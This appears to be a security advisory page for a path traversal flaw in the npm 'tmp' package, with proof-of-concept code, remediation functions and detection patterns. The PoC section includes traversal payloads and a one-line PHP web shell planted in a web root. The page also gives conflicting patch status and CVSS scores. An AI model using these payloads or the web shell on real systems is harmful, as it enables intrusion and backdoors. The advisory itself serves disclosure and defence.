GHSA-ph9p-34f9-6g65 CVE-2026-44705
tmp has Path Traversal via unsanitized prefix/postfix that enables directory escape
- Severity
- 7.7 / 10
- High · CVSS 4.0
- Exploit chance (EPSS)
- 0.43%
- Chance of exploitation in the next 30 days. Higher than 37.71% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
- Fix
0.2.6- Upgrade tmp to this version or later
Description
Summary
The tmp npm package contains a path traversal vulnerability that allows escaping the intended temporary directory when untrusted data flows into the prefix, postfix, or dir options. By embedding traversal sequences (e.g., ../) or path separators in these parameters, attackers can cause files to be created outside the configured temporary base directory at attacker-controlled locations with the privileges of the running process. This vulnerability affects applications that pass user-controlled data to tmp's file/directory creation functions without proper input sanitization.
Details
Root Cause: The vulnerability exists in tmp's path construction logic where user-supplied options are directly concatenated into file paths without sanitization or validation.
Technical Flow:
- Filename Construction: tmp builds filenames as
<prefix>-<pid>-<random>-<postfix> - Path Composition: Final path computed as
path.join(tmpDir, opts.dir, name) - Path Normalization: Node.js
path.join()normalizes traversal sequences, allowing escape - File Creation: File created at the resulting (potentially escaped) path
Vulnerable Pattern:
// In tmp package internals
const name = `${opts.prefix || ''}-${process.pid}-${randomString}-${opts.postfix || ''}`;
const finalPath = path.join(tmpDir, opts.dir || '', name);
// No validation that finalPath remains within tmpDir
Path Traversal Mechanics:
- prefix/postfix traversal:
../../../evilin prefix escapes directory structure - Absolute path bypass: If
opts.diris absolute,path.join()ignorestmpDircompletely - Normalization exploitation:
path.join()resolves../sequences regardless of surrounding text - Cross-platform impact: Works on Windows (
..\\), Unix (../), and mixed path systems
Key Vulnerability Points:
- No input validation on
prefix,postfix, ordirparameters - Direct use of user input in path construction
- Reliance on
path.join()normalization without containment checks - Missing post-construction validation that final path remains within intended directory
PoC
Basic Path Traversal via prefix:
const tmp = require('tmp');
const path = require('path');
const fs = require('fs');
// Create a controlled base directory
const baseDir = fs.mkdtempSync('/tmp/safe-base-');
console.log('Base directory:', baseDir);
// Escape via prefix
tmp.file({
tmpdir: baseDir,
prefix: '../escaped'
}, (err, filepath, fd, cleanup) => {
if (err) throw err;
console.log('Created file:', filepath);
console.log('Relative to base:', path.relative(baseDir, filepath));
// Output shows: ../escaped-<pid>-<random>
cleanup();
});
Directory Escape via postfix:
tmp.file({
tmpdir: baseDir,
postfix: '/../../pwned.txt'
}, (err, filepath, fd, cleanup) => {
if (err) throw err;
console.log('Escaped file:', filepath);
console.log('Escaped outside base:', !filepath.startsWith(baseDir));
cleanup();
});
Absolute Path Bypass via dir:
tmp.file({
tmpdir: '/safe/tmp/dir',
dir: '/tmp/evil-location',
prefix: 'bypassed'
}, (err, filepath, fd, cleanup) => {
if (err) throw err;
console.log('Bypassed to:', filepath);
// File created in /tmp/evil-location instead of /safe/tmp/dir
cleanup();
});
Advanced Multi-Vector Attack:
const maliciousOpts = {
tmpdir: '/app/safe-tmp',
dir: '../../../tmp', // Escape base
prefix: '../sensitive-area/', // Further traversal
postfix: 'malicious.config' // Controlled filename
};
tmp.file(maliciousOpts, (err, filepath, fd, cleanup) => {
// Results in file creation at: /tmp/sensitive-area/malicious.config
console.log('Final malicious path:', filepath);
cleanup();
});
Real-World Attack Simulation:
// Simulate web API that accepts user file prefix
function createUserTempFile(userPrefix, content) {
return new Promise((resolve, reject) => {
tmp.file({ prefix: userPrefix }, (err, path, fd, cleanup) => {
if (err) return reject(err);
fs.writeSync(fd, content);
console.log('User file created at:', path);
resolve({ path, cleanup });
});
});
}
// Attacker input
const attackerPrefix = '../../../var/www/html/backdoor';
createUserTempFile(attackerPrefix, '<?php system($_GET["cmd"]); ?>');
// Creates PHP backdoor in web root instead of temp directory
Impact
Arbitrary File Creation:
- Files created outside intended temporary directories
- Attacker control over file placement location
- Potential to overwrite existing files (depending on creation flags)
- Cross-platform exploitation capability
Attack Scenarios:
1. Web Application Configuration Poisoning:
- User uploads file with malicious prefix/postfix
- tmp creates "temporary" file in application configuration directory
- Malicious configuration loaded on next application restart
2. Cache Poisoning:
- Application caches user content using tmp
- Attacker escapes to cache directory of different user/tenant
- Poisoned cache serves malicious content to other users
3. Build Pipeline Compromise:
- CI/CD system processes user PRs with tmp usage
- Malicious prefix escapes to build output directories
- Compromised build artifacts deployed to production
4. Container Escape Attempt:
- Containerized application uses tmp with user input
- Attacker attempts to escape container temp restrictions
- Files created in host-mapped volumes or sensitive container areas
5. Multi-Tenant Service Bypass:
- SaaS platform isolates tenants using separate tmp directories
- Tenant A escapes their tmp space to tenant B's area
- Cross-tenant data access and potential privilege escalation
Business Impact:
- Data Integrity: Unauthorized file placement can corrupt application state
- Service Disruption: Files in wrong locations may break application functionality
- Security Bypass: Escape temporary isolation boundaries
- Compliance Violations: Files containing sensitive data placed in uncontrolled locations
Affected Products
- Ecosystem: npm
- Package name: tmp
- Repository: github.com/raszi/node-tmp
- Affected versions: All versions with vulnerable path construction logic
- Patched versions: None currently available
Component Impact:
tmp.file()function - vulnerable to prefix/postfix/dir traversaltmp.dir()function - vulnerable to same parameter manipulationtmp.tmpName()function - if using affected path construction
Severity: High
CVSS v3.1: 8.1 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L)
CWE Classification:
- CWE-22: Improper Limitation of a Pathname to a Restricted Directory (Path Traversal)
Remediation
Input Validation and Sanitization:
- Sanitize prefix/postfix:
function sanitizePrefix(prefix) {
if (!prefix) return '';
// Remove path separators and traversal sequences
return path.basename(String(prefix)).replace(/[\.\/\\]/g, '-');
}
function sanitizePostfix(postfix) {
if (!postfix) return '';
// Allow only safe characters
return String(postfix).replace(/[^A-Za-z0-9._-]/g, '');
}
- Validate dir parameter:
function validateDir(dir, baseDir) {
if (!dir) return '';
// Reject absolute paths
if (path.isAbsolute(dir)) {
throw new Error('Absolute paths not allowed for dir option');
}
// Resolve and check containment
const resolved = path.resolve(baseDir, dir);
const relative = path.relative(baseDir, resolved);
if (relative.startsWith('..') || path.isAbsolute(relative)) {
throw new Error('Dir option escapes base directory');
}
return dir;
}
- Post-construction path validation:
function validateFinalPath(finalPath, baseDir) {
const resolved = path.resolve(finalPath);
const relative = path.relative(path.resolve(baseDir), resolved);
if (relative.startsWith('..') || path.isAbsolute(relative)) {
throw new Error('Generated path escapes temporary directory');
}
return resolved;
}
Secure Implementation Pattern:
function createTempFile(options) {
const opts = { ...options };
// Sanitize inputs
opts.prefix = sanitizePrefix(opts.prefix);
opts.postfix = sanitizePostfix(opts.postfix);
opts.dir = validateDir(opts.dir, opts.tmpdir);
// Create with sanitized options
return tmp.file(opts, (err, path, fd, cleanup) => {
if (err) return callback(err);
// Validate final path
try {
validateFinalPath(path, opts.tmpdir);
} catch (validationErr) {
cleanup();
return callback(validationErr);
}
callback(null, path, fd, cleanup);
});
}
Workarounds
For Application Developers:
- Input Sanitization:
// Sanitize before passing to tmp
function safeTmpFile(userOptions) {
const safeOpts = {
...userOptions,
prefix: userOptions.prefix ? path.basename(userOptions.prefix) : undefined,
postfix: userOptions.postfix ? userOptions.postfix.replace(/[^A-Za-z0-9._-]/g, '') : undefined,
dir: undefined // Don't allow user-controlled dir
};
return tmp.file(safeOpts);
}
- Path Validation:
function validateTmpPath(tmpPath, expectedBase) {
const relativePath = path.relative(expectedBase, tmpPath);
if (relativePath.startsWith('..') || path.isAbsolute(relativePath)) {
throw new Error('Temporary file path escaped base directory');
}
return tmpPath;
}
- Restricted Usage:
// Only use tmp with known-safe, literal values
tmp.file({ prefix: 'app-temp-', postfix: '.tmp' }, callback);
// Never: tmp.file({ prefix: userInput }, callback);
For Security Teams:
- Code Review Patterns:
# Search for dangerous tmp usage
grep -r "tmp\.file.*prefix.*req\|tmp\.file.*postfix.*req" .
grep -r "tmp\.dir.*opts\|tmp\.file.*opts" .
- Runtime Monitoring:
// Monitor for files created outside expected temp areas
const originalFile = tmp.file;
tmp.file = function(options, callback) {
return originalFile(options, (err, path, fd, cleanup) => {
if (!err && options.tmpdir) {
const relative = require('path').relative(options.tmpdir, path);
if (relative.startsWith('..')) {
console.warn('Path traversal detected:', path);
}
}
return callback(err, path, fd, cleanup);
});
};
Detection and Monitoring
Static Analysis:
- Scan for tmp usage with user-controlled input
- Identify unsanitized parameter passing to tmp functions
- Review file creation patterns in temporary directories
Runtime Detection:
// Log suspicious tmp operations
function monitorTmpUsage() {
const originalTmpFile = require('tmp').file;
require('tmp').file = function(options = {}, callback) {
// Check for suspicious patterns
const suspicious = [
options.prefix && options.prefix.includes('..'),
options.postfix && options.postfix.includes('..'),
options.dir && path.isAbsolute(options.dir)
].some(Boolean);
if (suspicious) {
console.warn('Suspicious tmp usage detected:', options);
}
return originalTmpFile.call(this, options, callback);
};
}
File System Monitoring:
# Monitor file creation outside expected temp directories
inotifywait -m -r --format '%w%f %e' /tmp /var/tmp | while read file event; do
if [[ "$event" == *"CREATE"* && "$file" != /tmp/tmp-* ]]; then
echo "Unexpected file creation: $file"
fi
done
Acknowledgements
Reported by: Mapta / BugBunny_ai
Affected versions
npm
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
tmp npm → 0.2.6
- npm
npm install tmp@0.2.6- yarn
yarn add tmp@0.2.6- pnpm
pnpm add tmp@0.2.6
Severity breakdown
CVSS 4.0 7.7
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P
- Attack vector
- Network
- Attack complexity
- Low
- Attack requirements
- None
- Privileges required
- None
- User interaction
- None
- Confidentiality (vulnerable system)
- High
- Integrity (vulnerable system)
- None
- Availability (vulnerable system)
- None
- Confidentiality (subsequent systems)
- None
- Integrity (subsequent systems)
- None
- Availability (subsequent systems)
- None
- Exploit maturity
- Proof of concept
CVSS 3.1 8.2
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- None
- User interaction
- None
- Scope
- Unchanged
- Confidentiality
- None
- Integrity
- High
- Availability
- Low
Weakness
CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.
How to prevent it
- Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434. Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would b
- Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
- Implementation: Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked. Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59). This includes: realpath() in C getCanonicalPath() in Java GetFullPath() in ASP.NET realpath() or abs_path() in Perl realpath() in PHP
- Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
- Operation: Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
- Architecture and Design, Operation: Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
- Architecture and Design: When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs. For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-185] provide this capability.
- Architecture and Design, Operation: Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software. OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.
- Architecture and Design, Operation: Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately. This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.
- Implementation: Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success. If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files. Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not. In the context of path traversal, error messages which disclose path information can help attackers craft the appropriate attack strings to move through the file system hierarchy.
- Operation, Implementation: When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
References
Advisories
Fixes and patches
Packages
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-7c78-jf6q-g5cm tmp: Type-confusion bypass of _assertPath allows path traversal via non-string prefix/postfix/template | High | Also affects tmp |
| GHSA-52f5-9888-hmc6 tmp allows arbitrary temporary file / directory write via symbolic link `dir` parameter | Medium | Also affects tmp |
| GHSA-hjqx-j4rw-g7xv zip: Arbitrary file write outside the extraction directory, because ZipArchive::extract validates symlink targets lexically. | High | Same weakness, CWE-22 |
| GHSA-9jrw-8xf7-xqhq Keycloak vulnerable to information disclosure through arbitrary filesystem path probing | Medium | Same weakness, CWE-22 |
| GHSA-4vjg-vx72-qq4g systeminformation has path traversal in Linux networkStats() that allows symlink-based file disclosure outside /sys/class/net | Low | Same weakness, CWE-22 |
| GHSA-m65p-9j7q-6w33 MLflow vulnerable to arbitrary file read on unauthenticated servers via prompt model version source | High | Same weakness, CWE-22 |
| GHSA-g5ff-637f-6q2m LiteLLM: internal_user_viewer arbitrary local file read via `vertex_ai_credentials` | High | Same weakness, CWE-22 |
| CVE-2026-113672 Argo CD is a declarative, GitOps continuous delivery tool for Kubernetes. | Critical | Same weakness, CWE-22 |
Credits: Gyde04, MaanVader
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor